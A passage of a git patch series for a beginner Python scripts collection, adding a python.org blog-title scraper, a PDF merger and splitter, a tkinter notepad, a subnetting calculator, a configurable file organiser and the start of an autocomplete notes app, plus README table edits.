From effd66f8f6706d658bebad34f349baaa016a6fd0 Mon Sep 17 00:00:00 2001 From: Charul00 Date: Thu, 3 Oct 2024 11:46:02 +0530 Subject: [PATCH 01/74] Web Scraper Script Added --- Web Scraper/README.md | 8 ++++++++ Web Scraper/Web_Scraper.py | 30 ++++++++++++++++++++++++++++++ 2 files changed, 38 insertions(+) create mode 100644 Web Scraper/README.md create mode 100644 Web Scraper/Web_Scraper.py diff --git a/Web Scraper/README.md b/Web Scraper/README.md new file mode 100644 index 00000000..5c796460 --- /dev/null +++ b/Web Scraper/README.md @@ -0,0 +1,8 @@ +In this script, we use the `requests` library to send a GET request to the Python.org blogs page. We then use the `BeautifulSoup` library to parse the HTML content of the page. + +We find all the blog titles on the page by searching for `h2` elements with the class `blog-title`. We then print each title found and save them to a file named `blog_titles.txt`. + +To run this script, first install the required libraries: + +```bash +pip install requests beautifulsoup4 diff --git a/Web Scraper/Web_Scraper.py b/Web Scraper/Web_Scraper.py new file mode 100644 index 00000000..f1f0d62b --- /dev/null +++ b/Web Scraper/Web_Scraper.py @@ -0,0 +1,30 @@ +import requests +from bs4 import BeautifulSoup + +# URL to scrape data from +URL = "https://www.python.org/blogs/" + +# Send a GET request to the URL +response = requests.get(URL) + +# Parse the webpage content using BeautifulSoup +soup = BeautifulSoup(response.content, "html.parser") + +# Find all the blog titles on the page +titles = soup.find_all('h2', class_='blog-title') + +# Print each title found +print("Python.org Blog Titles:\n") +for i, title in enumerate(titles, start=1): + print(f"{i}. {title.get_text(strip=True)}") + +# Save the titles to a file +with open("blog_titles.txt", "w") as file: + for title in titles: + file.write(title.get_text(strip=True) + "\n") + +print("\nBlog titles saved to 'blog_titles.txt'.") + + + + \ No newline at end of file From d9ecdb12482b3cabf8ef3be5038cd143161b113a Mon Sep 17 00:00:00 2001 From: Charul00 Date: Thu, 3 Oct 2024 20:10:15 +0530 Subject: [PATCH 02/74] Update README.md to add Web Scraper script --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index b5090ad9..70b49df9 100644 --- a/README.md +++ b/README.md @@ -121,6 +121,8 @@ More information on contributing and the general code of conduct for discussion | Weather GUI | [Weather GUI](https://github.com/DhanushNehru/Python-Scripts/tree/master/Weather%20GUI) | Displays information on the weather. | | Website Blocker | [Website Blocker](https://github.com/DhanushNehru/Python-Scripts/tree/master/Website%20Blocker) | Downloads the website and loads it on your homepage in your local IP. | | Website Cloner | [Website Cloner](https://github.com/DhanushNehru/Python-Scripts/tree/master/Website%20Cloner) | Clones any website and opens the site in your local IP. | +| Web Scraper | [Web Scraper](https://github.com/Charul00/Python-Scripts/tree/main/Web%20Scraper) | A Python script that scrapes blog titles from Python.org and saves them to a file. | + | Weight Converter | [Weight Converter](https://github.com/WatashiwaSid/Python-Scripts/tree/master/Weight%20Converter) | Simple GUI script to convert weight in different measurement units. | | Wikipedia Data Extractor | [Wikipedia Data Extractor](https://github.com/DhanushNehru/Python-Scripts/tree/master/Wikipedia%20Data%20Extractor) | A simple Wikipedia data extractor script to get output in your IDE. | | Word to PDF | [Word to PDF](https://github.com/DhanushNehru/Python-Scripts/tree/master/Word%20to%20PDF%20converter) | A Python script to convert an MS Word file to a PDF file. | From fa430a3795fc7c68272712abc635d536986eccc1 Mon Sep 17 00:00:00 2001 From: Deepikakolli4 Date: Fri, 4 Oct 2024 21:30:27 +0530 Subject: [PATCH 03/74] Updated readme.md file Signed-off-by: Deepikakolli4 --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index b5090ad9..c711c49d 100644 --- a/README.md +++ b/README.md @@ -70,7 +70,8 @@ More information on contributing and the general code of conduct for discussion | Image Text to PDF | [Image Text to PDF](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20Text%20to%20PDF) | Adds an image and text to a PDF. | Image Watermarker | [Image Watermarker](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20Watermarker) | Adds a watermark to an image. | Image to ASCII | [Image to ASCII](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20to%20ASCII) | Converts an image into ASCII art. | -| Image to Gif | [Image to Gif](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20to%20GIF) | Generate gif from images. | +| Image to Gif | [Image to Gif](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20to%20GIF) | Generate gif from images. +|Interactive Dictionary | [Interactive Dictionary](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20InteractiveDictionary) |finding out meanings of words| | IP Geolocator | [IP Geolocator](https://github.com/DhanushNehru/Python-Scripts/tree/master/IP%20Geolocator) | Uses an IP address to geolocate a location on Earth. | | Jokes Generator | [Jokes generator](https://github.com/DhanushNehru/Python-Scripts/tree/master/Jokes%20Generator) | Generates jokes. | | JSON to CSV 1 | [JSON to CSV 1](https://github.com/DhanushNehru/Python-Scripts/tree/master/JSON%20to%20CSV) | Converts JSON to CSV files. | From 2c1eeebc7ffbe4117e077aeea9960399b5b0ccff Mon Sep 17 00:00:00 2001 From: Hasan <57855533+hasan-py@users.noreply.github.com> Date: Sat, 5 Oct 2024 00:15:03 +0600 Subject: [PATCH 04/74] Update README.md --- README.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 2a2a3ace..db6be295 100644 --- a/README.md +++ b/README.md @@ -122,9 +122,8 @@ More information on contributing and the general code of conduct for discussion | Weather GUI | [Weather GUI](https://github.com/DhanushNehru/Python-Scripts/tree/master/Weather%20GUI) | Displays information on the weather. | | Website Blocker | [Website Blocker](https://github.com/DhanushNehru/Python-Scripts/tree/master/Website%20Blocker) | Downloads the website and loads it on your homepage in your local IP. | | Website Cloner | [Website Cloner](https://github.com/DhanushNehru/Python-Scripts/tree/master/Website%20Cloner) | Clones any website and opens the site in your local IP. | -| Web Scraper | [Web Scraper](https://github.com/Charul00/Python-Scripts/tree/main/Web%20Scraper) | A Python script that scrapes blog titles from Python.org and saves them to a file. | - -| Weight Converter | [Weight Converter](https://github.com/WatashiwaSid/Python-Scripts/tree/master/Weight%20Converter) | Simple GUI script to convert weight in different measurement units. | +| Web Scraper | [Web Scraper](https://github.com/Charul00/Python-Scripts/tree/main/Web%20Scraper) | A Python script that scrapes blog titles from Python.org and saves them to a file. | +Weight Converter | [Weight Converter](https://github.com/WatashiwaSid/Python-Scripts/tree/master/Weight%20Converter) | Simple GUI script to convert weight in different measurement units. | | Wikipedia Data Extractor | [Wikipedia Data Extractor](https://github.com/DhanushNehru/Python-Scripts/tree/master/Wikipedia%20Data%20Extractor) | A simple Wikipedia data extractor script to get output in your IDE. | | Word to PDF | [Word to PDF](https://github.com/DhanushNehru/Python-Scripts/tree/master/Word%20to%20PDF%20converter) | A Python script to convert an MS Word file to a PDF file. | | Youtube Downloader | [Youtube Downloader](https://github.com/DhanushNehru/Python-Scripts/tree/master/Youtube%20Downloader) | Downloads any video from [YouTube](https://youtube.com) in video or audio format! From 6211d6b59fd1ac90a524fe7c782f1e05e4ca3e65 Mon Sep 17 00:00:00 2001 From: Hasan <57855533+hasan-py@users.noreply.github.com> Date: Sat, 5 Oct 2024 00:20:07 +0600 Subject: [PATCH 05/74] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index db6be295..f2c226b0 100644 --- a/README.md +++ b/README.md @@ -92,6 +92,7 @@ More information on contributing and the general code of conduct for discussion | PDF to Text | [PDF to text](https://github.com/DhanushNehru/Python-Scripts/tree/master/PDF%20to%20text) | Converts PDF to text. | | Planet Simulation | [Planet Simulation](https://github.com/DhanushNehru/Python-Scripts/tree/master/Planet%20Simulation) | A simulation of several planets rotating around the sun. | Playlist Exchange | [Playlist Exchange](https://github.com/DhanushNehru/Python-Scripts/tree/master/Playlist%20Exchange) | A Python script to exchange songs and playlists between Spotify and Python. +| Pigeonhole Sort | [Algorithm](https://github.com/DhanushNehru/Python-Scripts/tree/master/PigeonHole) | The pigeonhole sort algorithm to sort your arrays efficiently! | PNG TO JPG CONVERTOR | [PNG-To-JPG](https://github.com/DhanushNehru/Python-Scripts/tree/master/PNG%20To%20JPG) | A PNG TO JPG IMAGE CONVERTOR. | QR Code Generator | [QR Code Generator](https://github.com/DhanushNehru/Python-Scripts/tree/master/QR%20Code%20Generator) | This is generate a QR code from the provided link | | QR Code with logo | [QR code with Logo](https://github.com/DhanushNehru/Python-Scripts/tree/master/QR%20with%20Logo) | QR Code Customization Feature @@ -127,7 +128,6 @@ Weight Converter | [Weight Converter](https://github.com/Wa | Wikipedia Data Extractor | [Wikipedia Data Extractor](https://github.com/DhanushNehru/Python-Scripts/tree/master/Wikipedia%20Data%20Extractor) | A simple Wikipedia data extractor script to get output in your IDE. | | Word to PDF | [Word to PDF](https://github.com/DhanushNehru/Python-Scripts/tree/master/Word%20to%20PDF%20converter) | A Python script to convert an MS Word file to a PDF file. | | Youtube Downloader | [Youtube Downloader](https://github.com/DhanushNehru/Python-Scripts/tree/master/Youtube%20Downloader) | Downloads any video from [YouTube](https://youtube.com) in video or audio format! -| Pigeonhole Sort | [Algorithm](https://github.com/DhanushNehru/Python-Scripts/tree/master/PigeonHole) | the pigeonhole sort algorithm to sort your arrays efficiently! | Youtube Playlist Info Scraper | [Youtube Playlist Info Scraper](https://github.com/DhanushNehru/Python-Scripts/tree/master/Youtube%20Playlist%20Info%20Scraper) | This python module retrieve information about a YouTube playlist in json format using playlist link. ## Gitpod From cfbf90b5c52992d15dc2ff4a8254938fafb50525 Mon Sep 17 00:00:00 2001 From: Abhijit Motekar <109235675+AbhijitMotekar99@users.noreply.github.com> Date: Sat, 5 Oct 2024 08:59:09 +0530 Subject: [PATCH 06/74] Implemented PDF Merger and Splitter python script : Issue no #283 (#291) * Create PDF Merger and Splitter.py * Update README.md * Create readme.md --- .../PDF Merger and Splitter.py | 23 ++++++++++++ PDF Merger and Splitter/readme.md | 35 +++++++++++++++++++ README.md | 1 + 3 files changed, 59 insertions(+) create mode 100644 PDF Merger and Splitter/PDF Merger and Splitter.py create mode 100644 PDF Merger and Splitter/readme.md diff --git a/PDF Merger and Splitter/PDF Merger and Splitter.py b/PDF Merger and Splitter/PDF Merger and Splitter.py new file mode 100644 index 00000000..09e37467 --- /dev/null +++ b/PDF Merger and Splitter/PDF Merger and Splitter.py @@ -0,0 +1,23 @@ +from PyPDF2 import PdfReader, PdfWriter + +def merge_pdfs(pdfs, output): + pdf_writer = PdfWriter() + for pdf in pdfs: + reader = PdfReader(pdf) + for page in range(len(reader.pages)): + pdf_writer.add_page(reader.pages[page]) + + with open(output, 'wb') as out: + pdf_writer.write(out) + +def split_pdf(pdf): + reader = PdfReader(pdf) + for page_num, page in enumerate(reader.pages): + writer = PdfWriter() + writer.add_page(page) + output_filename = f'{pdf.split(".")[0]}_page_{page_num+1}.pdf' + with open(output_filename, 'wb') as out: + writer.write(out) + +merge_pdfs(['file1.pdf', 'file2.pdf'], 'merged.pdf') +split_pdf('merged.pdf') diff --git a/PDF Merger and Splitter/readme.md b/PDF Merger and Splitter/readme.md new file mode 100644 index 00000000..a0aa8fcf --- /dev/null +++ b/PDF Merger and Splitter/readme.md @@ -0,0 +1,35 @@ +# PDF Merger and Splitter + +This Python script allows you to merge multiple PDF files into a single PDF and split a PDF file into individual pages. It utilizes the `PyPDF2` library for handling PDF files. + +## Features + +- **Merge PDFs**: Combine multiple PDF files into one. +- **Split PDF**: Divide a single PDF file into separate pages, saving each page as a new PDF file. + +## Requirements + +Make sure you have Python installed on your machine. This script also requires the `PyPDF2` library. You can install it using pip: + +```bash +pip install PyPDF2 +``` + +# Usage +## Merging PDFs +- Place the PDF files you want to merge in the same directory as the script. +- Modify the merge_pdfs function call in the script to include the names of the PDF files you want to merge. For example: + ```bash + merge_pdfs(['file1.pdf', 'file2.pdf'], 'merged.pdf') + ``` +- Run the script: + ```bash + python pdf_merger_splitter.py + ``` +## Splitting PDFs +- After merging, the script automatically splits the merged PDF file (merged.pdf) into separate pages. Each page will be saved as a new PDF file named merged_page_X.pdf, where X is the page number. +- You can also split any PDF file by calling the split_pdf function in the script: + ```bash + split_pdf('your_pdf_file.pdf') + ``` +- Run the script to create separate PDF files for each page. diff --git a/README.md b/README.md index f2c226b0..80cdf214 100644 --- a/README.md +++ b/README.md @@ -90,6 +90,7 @@ More information on contributing and the general code of conduct for discussion | PDF Merger | [PDF Merger](https://github.com/DhanushNehru/Python-Scripts/tree/master/PDF%20Merger) |Merges multiple PDF files into a single PDF, with options for output location and custom order.| | PDF to Audio | [PDF to Audio](https://github.com/DhanushNehru/Python-Scripts/tree/master/PDF%20to%20Audio) | Converts PDF to audio. | | PDF to Text | [PDF to text](https://github.com/DhanushNehru/Python-Scripts/tree/master/PDF%20to%20text) | Converts PDF to text. | +| PDF merger and splitter | [PDF Merger and Splitter](https://github.com/AbhijitMotekar99/Python-Scripts/blob/master/PDF%20Merger%20and%20Splitter/PDF%20Merger%20and%20Splitter.py) | Create a tool that can merge multiple PDF files into one or split a single PDF into separate pages. | Planet Simulation | [Planet Simulation](https://github.com/DhanushNehru/Python-Scripts/tree/master/Planet%20Simulation) | A simulation of several planets rotating around the sun. | Playlist Exchange | [Playlist Exchange](https://github.com/DhanushNehru/Python-Scripts/tree/master/Playlist%20Exchange) | A Python script to exchange songs and playlists between Spotify and Python. | Pigeonhole Sort | [Algorithm](https://github.com/DhanushNehru/Python-Scripts/tree/master/PigeonHole) | The pigeonhole sort algorithm to sort your arrays efficiently! From fc968ff8086ac53458fc7527bfe4f64492440a9e Mon Sep 17 00:00:00 2001 From: Abhijit Motekar <109235675+AbhijitMotekar99@users.noreply.github.com> Date: Sat, 5 Oct 2024 19:52:44 +0530 Subject: [PATCH 07/74] Implemented Python GUI Notepad Script : Issue no #284 (#297) * Create PDF Merger and Splitter.py * Update README.md * Create readme.md * Create Python GUI Notepad.py * Create Readme.md * Update README.md --- Python GUI Notepad/Python GUI Notepad.py | 29 ++++++++++++++++++++ Python GUI Notepad/Readme.md | 34 ++++++++++++++++++++++++ README.md | 3 ++- 3 files changed, 65 insertions(+), 1 deletion(-) create mode 100644 Python GUI Notepad/Python GUI Notepad.py create mode 100644 Python GUI Notepad/Readme.md diff --git a/Python GUI Notepad/Python GUI Notepad.py b/Python GUI Notepad/Python GUI Notepad.py new file mode 100644 index 00000000..6aa14693 --- /dev/null +++ b/Python GUI Notepad/Python GUI Notepad.py @@ -0,0 +1,29 @@ +import tkinter as tk +from tkinter import filedialog + +def save_file(): + file = filedialog.asksaveasfilename(defaultextension=".txt", filetypes=[("Text Files", "*.txt")]) + if file: + with open(file, 'w') as f: + f.write(text_area.get(1.0, tk.END)) + +def open_file(): + file = filedialog.askopenfilename(filetypes=[("Text Files", "*.txt")]) + if file: + with open(file, 'r') as f: + text_area.delete(1.0, tk.END) + text_area.insert(tk.END, f.read()) + +root = tk.Tk() +root.title("Notepad") +text_area = tk.Text(root, wrap='word') +text_area.pack(expand='yes', fill='both') + +menu = tk.Menu(root) +root.config(menu=menu) +file_menu = tk.Menu(menu, tearoff=0) +menu.add_cascade(label="File", menu=file_menu) +file_menu.add_command(label="Open", command=open_file) +file_menu.add_command(label="Save As", command=save_file) + +root.mainloop() diff --git a/Python GUI Notepad/Readme.md b/Python GUI Notepad/Readme.md new file mode 100644 index 00000000..ceccdd5a --- /dev/null +++ b/Python GUI Notepad/Readme.md @@ -0,0 +1,34 @@ +# Python GUI Notepad + +This Python script provides a simple graphical user interface (GUI) Notepad application that allows users to open and save text files. It is built using the `tkinter` library, which comes with Python. + +## Features + +- **Open Files**: Open and edit existing `.txt` files. +- **Save Files**: Save the current text as a new `.txt` file. + +## Requirements + +Make sure you have Python installed on your machine. This script uses the built-in `tkinter` library, so no additional installations are necessary. + +## Usage + +### Opening Files + +- Run the script by executing the following command: + ```bash + python gui_notepad.py + ``` +- Click on the "File" menu and select "Open" to browse and open a .txt file. +- The contents of the selected file will be loaded into the text editor for editing. + +### Saving Files +- After making edits, click on the "File" menu and select "Save As" to save your work as a new .txt file. +- The file will be saved with the provided name in the location of your choice. + +### Example +1) Open an existing text file: + - Click on "File" -> "Open" and select the .txt file you want to edit. +2) Edit the contents in the text area. +3) Save the edited text: + - Click on "File" -> "Save As" to save the changes to a new or existing file. diff --git a/README.md b/README.md index 30e73edd..ee4ca162 100644 --- a/README.md +++ b/README.md @@ -95,7 +95,8 @@ More information on contributing and the general code of conduct for discussion | Planet Simulation | [Planet Simulation](https://github.com/DhanushNehru/Python-Scripts/tree/master/Planet%20Simulation) | A simulation of several planets rotating around the sun. | Playlist Exchange | [Playlist Exchange](https://github.com/DhanushNehru/Python-Scripts/tree/master/Playlist%20Exchange) | A Python script to exchange songs and playlists between Spotify and Python. | Pigeonhole Sort | [Algorithm](https://github.com/DhanushNehru/Python-Scripts/tree/master/PigeonHole) | The pigeonhole sort algorithm to sort your arrays efficiently! -| PNG TO JPG CONVERTOR | [PNG-To-JPG](https://github.com/DhanushNehru/Python-Scripts/tree/master/PNG%20To%20JPG) | A PNG TO JPG IMAGE CONVERTOR. +| PNG TO JPG CONVERTOR | [PNG-To-JPG](https://github.com/DhanushNehru/Python-Scripts/tree/master/PNG%20To%20JPG) | A PNG TO JPG IMAGE CONVERTOR. +| Python GUI Notepad | [Python GUI Notepad](https://github.com/DhanushNehru/Python-Scripts/blob/master/PDF%20Merger%20and%20Splitter/PDF%20Merger%20and%20Splitter.py) | A Python-based GUI Notepad with essential features like saving, opening, editing text files, basic formatting, and a simple user interface for quick note-taking. | QR Code Generator | [QR Code Generator](https://github.com/DhanushNehru/Python-Scripts/tree/master/QR%20Code%20Generator) | This is generate a QR code from the provided link | | QR Code with logo | [QR code with Logo](https://github.com/DhanushNehru/Python-Scripts/tree/master/QR%20with%20Logo) | QR Code Customization Feature | Random Color Generator | [Random Color Generator](https://github.com/DhanushNehru/Python-Scripts/tree/master/Random%20Color%20Generator) | A random color generator that will show you the color and values! | From c20547e13f422bed3f950276cffe63f2b47f17af Mon Sep 17 00:00:00 2001 From: Andrey Ivanov <97749666+ivnvxd@users.noreply.github.com> Date: Sat, 5 Oct 2024 15:31:09 +0100 Subject: [PATCH 08/74] Subnetting calculator (#296) --- README.md | 1 + Subnetting Calculator/README.md | 40 ++++++++++++++++ .../subnetting_calculator.py | 46 +++++++++++++++++++ 3 files changed, 87 insertions(+) create mode 100644 Subnetting Calculator/README.md create mode 100644 Subnetting Calculator/subnetting_calculator.py diff --git a/README.md b/README.md index ee4ca162..d15f4e8b 100644 --- a/README.md +++ b/README.md @@ -109,6 +109,7 @@ More information on contributing and the general code of conduct for discussion | Snake Water Gun | [Snake Water Gun](https://github.com/DhanushNehru/Python-Scripts/tree/master/Snake%20Water%20Gun) | A game similar to Rock Paper Scissors. | | Sorting | [Sorting](https://github.com/DhanushNehru/Python-Scripts/tree/master/Sorting) | Algorithm for bubble sorting. | | Star Pattern | [Star Pattern](https://github.com/DhanushNehru/Python-Scripts/tree/master/Star%20Pattern) | Creates a star pattern pyramid. | +| Subnetting Calculator | [Subnetting Calculator](https://github.com/DhanushNehru/Python-Scripts/tree/master/Subnetting%20Calculator) | Calculates network information based on a given IP address and subnet mask. | | Take a break | [Take a break](https://github.com/DhanushNehru/Python-Scripts/tree/master/Take%20A%20Break) | Python code to take a break while working long hours. | | Text Recognition | [Text Recognition](https://github.com/DhanushNehru/Python-Scripts/tree/Text-Recognition/Text%20Recognition) | A Image Text Recognition ML Model to extract text from Images | | Text to Image | [Text to Image](https://github.com/DhanushNehru/Python-Scripts/tree/master/Text%20to%20Image) | A Python script that will take your text and convert it to a JPEG. | diff --git a/Subnetting Calculator/README.md b/Subnetting Calculator/README.md new file mode 100644 index 00000000..2fd34271 --- /dev/null +++ b/Subnetting Calculator/README.md @@ -0,0 +1,40 @@ +# Subnetting Calculator + +This Python script calculates network information based on a given IP address and subnet mask. + +## Features + +- Calculates network address and broadcast address +- Provides the range of IP addresses for the network +- Shows the usable host IP range +- Calculates the total number of hosts and usable hosts + +## Usage + +1. Ensure you have Python 3.x installed on your system. +2. Run the script: + ``` + python subnetting_calculator.py + ``` +3. Enter the IP address and subnet mask when prompted. + +## Example + +``` +Enter IP address: 192.168.1.1 +Enter subnet mask: 255.255.255.0 + +Network Information: +IP Address: 192.168.1.1 +Subnet Mask: 255.255.255.0 +Network Address: 192.168.1.0 +Broadcast Address: 192.168.1.255 +Range of IP addresses: 192.168.1.0 - 192.168.1.255 +Usable Host IP Range: 192.168.1.1 - 192.168.1.254 +Total Hosts: 256 +Usable Hosts: 254 +``` + +## Requirements + +This script uses the `ipaddress` module, which is part of the Python standard library. No additional installations are required. diff --git a/Subnetting Calculator/subnetting_calculator.py b/Subnetting Calculator/subnetting_calculator.py new file mode 100644 index 00000000..c9638fbf --- /dev/null +++ b/Subnetting Calculator/subnetting_calculator.py @@ -0,0 +1,46 @@ +import ipaddress + + +def calculate_network_info(ip_address, subnet_mask): + network = ipaddress.IPv4Network(f"{ip_address}/{subnet_mask}", strict=False) + + network_address = network.network_address + broadcast_address = network.broadcast_address + total_hosts = network.num_addresses + usable_hosts = max(total_hosts - 2, 0) + first_usable_host = network_address + 1 if usable_hosts > 0 else None + last_usable_host = broadcast_address - 1 if usable_hosts > 0 else None + + results = { + "IP Address": ip_address, + "Subnet Mask": subnet_mask, + "Network Address": str(network_address), + "Broadcast Address": str(broadcast_address), + "Range of IP addresses": f"{network_address} - {broadcast_address}", + "Usable Host IP Range": ( + f"{first_usable_host} - {last_usable_host}" if usable_hosts > 0 else "N/A" + ), + "Total Hosts": total_hosts, + "Usable Hosts": usable_hosts, + } + + return results + + +def main(): + try: + ip_address = input("Enter IP address: ") + subnet_mask = input("Enter subnet mask: ") + + info = calculate_network_info(ip_address, subnet_mask) + + print("\nNetwork Information:") + for key, value in info.items(): + print(f"{key}: {value}") + + except ValueError as e: + print(f"Error: {e}") + + +if __name__ == "__main__": + main() From 87a3a025a6cbf9aab1e5f5156702ed8110a16bed Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C2=96=C2=96Stonebanks-js?= Date: Sat, 5 Oct 2024 21:26:48 +0530 Subject: [PATCH 09/74] Support Custom Folder Configuration added --- Arrange It/arrangeit.py | 53 +++++++++++++++++++---------------------- 1 file changed, 24 insertions(+), 29 deletions(-) diff --git a/Arrange It/arrangeit.py b/Arrange It/arrangeit.py index 682f398b..1f9beb28 100644 --- a/Arrange It/arrangeit.py +++ b/Arrange It/arrangeit.py @@ -1,22 +1,18 @@ from shutil import move -from os import path import os - - -directory = { - 'Programming Files': set(['ipynb', 'py', 'java', 'cs', 'js', 'vsix', 'jar', 'cc', 'ccc', 'html', 'xml', 'kt']), - 'Music': set(['mp3', 'wav', 'wma', 'mpa', 'ram', 'ra', 'aac', 'aif', 'm4a', 'tsa']), - 'Videos': set(['mp4', 'webm', 'mkv', 'MPG', 'MP2', 'MPEG', 'MPE', 'MPV', 'OGG', 'M4P', 'M4V', 'WMV', 'MOV', 'QT', 'FLV', 'SWF', 'AVCHD', 'avi', 'mpg', 'mpe', 'mpeg', 'asf', 'wmv', 'mov', 'qt', 'rm']), - 'Pictures': set(['jpeg', 'jpg', 'png', 'gif', 'tiff', 'raw', 'webp', 'jfif', 'ico', 'psd', 'svg', 'ai']), - 'Applications': set(['exe', 'msi', 'deb', 'rpm']), - 'Compressed': set(['zip', 'rar', 'arj', 'gz', 'sit', 'sitx', 'sea', 'ace', 'bz2', '7z']), - 'Documents': set(['txt', 'pdf', 'doc', 'xlsx', 'pdf', 'ppt', 'pps', 'docx', 'pptx']), - 'Other': set([]) -} - - -def create_folders(): - +import json + +# Load folder-extension mappings from config.json +def load_config(file='config.json'): + try: + with open(file, 'r') as f: + return json.load(f) + except FileNotFoundError: + print(f"Configuration file {file} not found! Using default settings.") + return {} + +# Create folders based on config.json +def create_folders(directory): for dir_ in directory: try: os.mkdir(dir_) @@ -24,24 +20,23 @@ def create_folders(): except OSError: print(f'{dir_:20} Already Exists') - -def get_folder(ext): - - for f, ex in directory.items(): - if ext in ex: - return f +# Determine which folder a file belongs to +def get_folder(ext, directory): + for folder, extensions in directory.items(): + if ext in extensions: + return folder return 'Other' - -def start(): +# Start moving files based on their extensions +def start(directory): for filename in os.listdir(): if filename != __file__ and filename[0] != '.' and '.' in filename: ext = os.path.basename(filename).split('.')[-1] - folder = get_folder(ext) + folder = get_folder(ext, directory) if not os.path.isfile(os.path.join(folder, filename)): move(filename, folder) - if __name__ == '__main__': - create_folders() - start() + config = load_config() # Load configuration + create_folders(config) # Create necessary folders + start(config) # Start organizing files From 896c1b681995cdff99b4b71304233350a5ff1852 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C2=96=C2=96Stonebanks-js?= Date: Sat, 5 Oct 2024 21:33:54 +0530 Subject: [PATCH 10/74] Added a config.json that holds the mappings --- .gitignore | 1 - Arrange It/config.json | 11 +++++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) create mode 100644 Arrange It/config.json diff --git a/.gitignore b/.gitignore index e2825f9f..5109c9bf 100644 --- a/.gitignore +++ b/.gitignore @@ -27,7 +27,6 @@ node_modules/ creds.js # Private Files -*.json *.csv *.csv.gz *.tsv diff --git a/Arrange It/config.json b/Arrange It/config.json new file mode 100644 index 00000000..d573f41d --- /dev/null +++ b/Arrange It/config.json @@ -0,0 +1,11 @@ +{ + "Programming Files": ["ipynb", "py", "java", "cs", "js", "vsix", "jar", "cc", "ccc", "html", "xml", "kt"], + "Music": ["mp3", "wav", "wma", "mpa", "ram", "ra", "aac", "aif", "m4a", "tsa"], + "Videos": ["mp4", "webm", "mkv", "MPG", "MP2", "MPEG", "MPE", "MPV", "OGG", "M4P", "M4V", "WMV", "MOV", "QT", "FLV", "SWF", "AVCHD", "avi", "mpg", "mpe", "mpeg", "asf", "wmv", "mov", "qt", "rm"], + "Pictures": ["jpeg", "jpg", "png", "gif", "tiff", "raw", "webp", "jfif", "ico", "psd", "svg", "ai"], + "Applications": ["exe", "msi", "deb", "rpm"], + "Compressed": ["zip", "rar", "arj", "gz", "sit", "sitx", "sea", "ace", "bz2", "7z"], + "Documents": ["txt", "pdf", "doc", "xlsx", "ppt", "pps", "docx", "pptx"], + "Other": [] + } + \ No newline at end of file From 6db72388f1b3d5b26d2c0a53489e6c2043e032c7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C2=96=C2=96Stonebanks-js?= Date: Sat, 5 Oct 2024 22:56:22 +0530 Subject: [PATCH 11/74] Updated README.md --- Arrange It/README.md | 41 ++++++++++++++++++++++++++++++++--------- 1 file changed, 32 insertions(+), 9 deletions(-) diff --git a/Arrange It/README.md b/Arrange It/README.md index fb4553fb..c3515c04 100644 --- a/Arrange It/README.md +++ b/Arrange It/README.md @@ -1,18 +1,41 @@ # Arrange It -With the help of this script, files can be moved automatically to the folder that corresponds to their extension (for example, ".jpg" or ".png" ==> "/Pictures," and ".mp4" ==> "/Videos"). +With the help of this script, files can be moved automatically to the folder that corresponds to their extension (for example, .jpg or .png files go to the /Pictures folder, and .mp4 files go to /Videos). -## How To Run +## New Feature: Custom Folder Configuration -- Put in Download Folder Or Wherever You want to automatically move the file and Just run +-Now, you can customize how files are arranged by defining your own folder structure and file extensions using a config.json file. This allows for more flexibility without needing to modify the Python code itself. +python arrangeit.py + +# How To Use the config.json File + +1. The config.json file contains the mappings of file extensions to folder names. +2. You can modify, add, or remove folder categories and file extensions as per your needs. + +Example config.json: + +{ + "Programming Files": ["ipynb", "py", "java", "cs", "js"], + "Music": ["mp3", "wav", "aac"], + "Videos": ["mp4", "mkv", "avi"], + "Pictures": ["jpeg", "png", "gif"], + "Documents": ["pdf", "docx", "xlsx"] +} -For CLI +# How To Run + +Put the script and the config.json file in the folder where you want to automatically move the files. + +Run the following command from the terminal: -```bash python arrangeit.py - -``` - - \ No newline at end of file +The script will create folders and move files based on the folder-extension mappings in the config.json file. + + +# Benefits + +Customizable: Easily modify the config.json file to tailor the organization to your preferences. +User-Friendly: No need to modify Python code—just update the config.json file. +Scalable: Works with different folder structures for different use cases. \ No newline at end of file From 215c7cebfbae0ddadc466cce2a82e6d6099e6c58 Mon Sep 17 00:00:00 2001 From: Venkat Prashanth Mattaparthi <130282618+m-vp@users.noreply.github.com> Date: Mon, 7 Oct 2024 10:00:19 +0530 Subject: [PATCH 12/74] Autocomplete Notes App with GUI (#304) * Added Automatic Notes App * Added Readme file --- Autocomplete Notes App/README.md | 32 + Autocomplete Notes App/app.py | 95 + Autocomplete Notes App/wordlist.py | 9993 ++++++++++++++++++++++++++++ README.md | 1 + 4 files changed, 10121 insertions(+) create mode 100644 Autocomplete Notes App/README.md create mode 100644 Autocomplete Notes App/app.py create mode 100644 Autocomplete Notes App/wordlist.py diff --git a/Autocomplete Notes App/README.md b/Autocomplete Notes App/README.md new file mode 100644 index 00000000..ed1e94bc --- /dev/null +++ b/Autocomplete Notes App/README.md @@ -0,0 +1,32 @@ +# Autocomplete Notes App + +## Overview + +The Autocomplete Notes App is a simple graphical user interface (GUI) application that allows users to take notes efficiently. It features an autocomplete functionality, where suggestions for completing words are displayed as the user types. This app is built using Python and the Tkinter library for the GUI, with the addition of word suggestions from a predefined word list. + +## Features + +- **Text Input**: A large text area for users to enter notes. +- **Autocomplete**: As users type, a suggestion box displays the full word based on the entered text. +- **Tab Functionality**: Users can press the Tab key to automatically fill in the suggested word into the text area. +- **Save Notes**: Users can choose a filename to save their notes to a `.txt` file. +- **Dynamic Sizing**: The app window resizes based on user actions. + +## Requirements + +- Python 3.x +- Tkinter (usually comes pre-installed with Python) +- A `wordlist.txt` file containing words for autocomplete suggestions. + +## Installation + +1. Clone the repository or download the source code files. +2. Ensure you have Python 